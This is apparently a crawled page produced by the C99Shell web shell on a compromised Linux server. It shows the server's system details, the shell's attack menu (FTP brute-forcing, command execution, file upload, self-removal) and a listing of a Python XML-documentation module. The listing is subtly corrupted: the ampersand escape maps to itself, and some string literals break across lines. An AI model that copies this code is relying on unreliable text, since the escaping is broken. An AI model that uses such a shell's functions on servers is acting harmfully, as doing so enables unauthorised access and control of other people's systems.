!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/usr/lib/python2.4/site-packages/Ft/Lib/DistExt/Formatters/   drwxr-xr-x
Free 3.38 GB of 27.03 GB (12.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     XmlFormatter.py (2.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import pydoc, cStringIO
from repr import Repr

class XmlRepr(pydoc.TextRepr):
    """
    Class for safely making a XML representation of a Python object.
    """

    _escape_table = [('&', '&'),
                     ('<', '&lt;'),
                     ('>', '&gt;'),
                     ('"', '&quot;'),
                     ]

    def escape(self, text):
        for char, repl in self._escape_table:
            text = text.replace(char, repl)
        return text

    def repr(self, object):
        return self.escape(pydoc.TextRepr.repr(self, object))

    # Make sure all types are covered
    repr_unicode = repr_str = pydoc.TextRepr.repr_string
    

class XmlFormatter(XmlRepr):

    indent = '  '

    def __init__(self, dist_command):
        XmlRepr.__init__(self)
        self.dist_command = dist_command

        # These are reset each time through document()
        self.module = None
        self.write = None
        self.indent_level = 0
        return

    def warn(self, msg):
        return self.dist_command.warn(msg)

    # -- xml writing functions -----------------------------------------------

    def start_element(self, tagname, attributes={}):
        self.write(self.indent * self.indent_level)
        self.write('<%s' % tagname)
        for name, value in attributes.items():
            self.write(' %s="%s"' % (name, self.escape(str(value))))
        self.write('>\n')
        self.indent_level += 1
        return

    def end_element(self, tagname):
        self.indent_level -= 1
        self.write(self.indent * self.indent_level)
        self.write('</%s>\n' % tagname)
        return

    def write_element(self, tagname, attributes={}, content=''):
        self.write(self.indent * self.indent_level)
        self.write('<%s' % tagname)
        for name, value in attributes.items():
            self.write(' %s="%s"' % (name, self.escape(str(value))))
        if content:
            self.write('>%s</%s>\n' % (content, tagname))
        else:
            self.write('/>\n')
        return

    # -- documenting functions -----------------------------------------------

    def section(self, title, list, format):
        self.start_element(title)
        for name, object in list:
            format(object, name)
        self.end_element(title)
        return

    def document(self, module, encoding=None):
        """
        Generate documentation for a module.
        """
        self.module = module
        stream = cStringIO.StringIO()
        self.write = stream.write
        self.indent_level = 0
        
        self.write('<?xml version="1.0"')
        if encoding:
            self.write('
encoding="%s"' % encoding)
        self.write('
?>\n')
        
        # Document the module
        self.doc_module(module)
        
        return stream.getvalue()

    def doc_module(self, module):
        raise NotImplementedError('subclass %s must override' % self.__class__)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.011 ]--